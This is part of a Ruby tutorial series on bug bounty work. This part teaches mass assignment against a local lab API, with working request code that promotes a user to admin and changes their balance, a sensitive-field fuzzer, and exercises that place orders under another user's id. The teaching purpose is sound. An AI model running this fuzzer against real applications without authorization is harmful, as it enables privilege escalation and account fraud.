// Bug Bounty Automation in Ruby · Part 5
Fuzzing the inputs
We stop sending the fields the API expects and start sending the ones it doesn't. A profile-update endpoint that merges whatever you give it becomes a way to set your own role and balance — mass assignment. We build a small fuzzer to find it, and learn blocks and yield doing it.
So far we’ve sent well-formed requests. Fuzzing is the opposite instinct: send inputs the developer didn’t plan for — extra fields, wrong types, values out of range — and watch what breaks. The bug we’re after this part is mass assignment: an endpoint that takes your JSON body and merges all of it into a record, including fields you were never meant to control.
The lab lets you update your own profile with PATCH /api/me. Start fuzz.rb
with a login helper and a PATCH:
require 'net/http'
require 'json'
require 'uri'
BASE = 'http://127.0.0.1:4567'
def login(name)
res = Net::HTTP.post(URI("#{BASE}/login"), { 'name' => name }.to_json,
'Content-Type' => 'application/json')
JSON.parse(res.body)['token']
end
def patch(path, token, body)
uri = URI("#{BASE}#{path}")
req = Net::HTTP::Patch.new(uri)
req['Authorization'] = "Bearer #{token}"
req['Content-Type'] = 'application/json'
req.body = body.to_json
Net::HTTP.start(uri.host, uri.port) { |http| http.request(req) }
end
The intended use, then the abuse
First the legitimate path — update your display name — so we know the endpoint works and can see our starting state:
token = login('alice')
before = JSON.parse(patch('/api/me', token, 'name' => 'alice').body)
puts "[*] start: role=#{before['role']} balance=#{before['balance']}"
$ ruby fuzz.rb
[*] start: role=user balance=1000
Now the abuse. The endpoint is supposed to let us change our name. But if it
merges the whole body blindly, it’ll also accept fields it should guard — like
role and balance. Send them and find out:
loot = JSON.parse(patch('/api/me', token, 'role' => 'admin', 'balance' => 1_000_000).body)
puts "[+] after: role=#{loot['role']} balance=#{loot['balance']}"
$ ruby fuzz.rb
...
[+] after: role=admin balance=1000000
One request promoted a normal user to admin and set their balance to a million.
The endpoint never had a list of fields it was allowed to change, so it changed
whatever we named. That’s mass assignment.
Turning it into a fuzzer
Guessing role and balance worked because we know the domain. A fuzzer
automates the guessing: throw a list of sensitive field names at the endpoint and
report which ones stick. This is a good moment to meet blocks — the chunks of
code in do ... end you’ve been passing around — and yield, which runs one.
Write a fuzz method that walks payloads and hands each to a block, letting the
caller decide how to test it:
def fuzz(payloads)
payloads.each do |field, value|
accepted = yield(field, value)
puts " #{field.ljust(9)} <- #{value.inspect.ljust(9)} #{accepted ? 'ACCEPTED' : 'ignored'}"
end
end
yield(field, value) calls whatever block you pass to fuzz, with those two
arguments, and uses the value the block returns. Now call it with a set of
fields an attacker cares about, and a block that PATCHes each and checks whether
the server echoed our value back:
SENSITIVE = { 'role' => 'admin', 'balance' => 9_999, 'is_admin' => true, 'verified' => true }
fresh = login('bob')
fuzz(SENSITIVE) do |field, value|
result = JSON.parse(patch('/api/me', fresh, field => value).body)
result[field] == value
end
$ ruby fuzz.rb
...
role <- "admin" ACCEPTED
balance <- 9999 ACCEPTED
is_admin <- true ACCEPTED
verified <- true ACCEPTED
Every field stuck, because this endpoint merges without a whitelist. On a real
target most of a list like this would come back ignored and one or two would
read ACCEPTED — and those are your finding. The fuzzer’s value isn’t that it
tried role; it’s that it tried forty fields while you read your email, and told
you which two mattered.
Takeaways
- Mass assignment: an endpoint that merges your whole body into a record lets
you write fields you don’t own —
role,balance,is_admin. Send the intended field plus a few sensitive ones and see what sticks. - A block is code in
do |args| ... endpassed to a method;yieldruns it and returns its value. It lets one method (fuzz) own the looping while the caller owns the test. .inspectshows a value the way you’d type it ("admin",true);.ljustkeeps columns aligned.- A fuzzer’s job is coverage: try the whole list mechanically, surface the hits.
Exercises
- Extend
SENSITIVEwith fields a real app might guard —email_verified,credits,plan,owner_id— and re-run. The technique doesn’t change, only the wordlist. - Fuzz types, not just fields: send
balanceas a string"abc", an array, and a negative number. Does the endpoint validate any of them? - Point the fuzzer at
POST /api/orders(which also merges its body). Can you place an order with auser_idthat isn’t yours — an order in someone else’s name?
Next — Part 6: one request made us rich. In Part 6 we send many at once — firing the coupon endpoint concurrently to redeem a one-time reward several times before the server notices. Threads, and a race.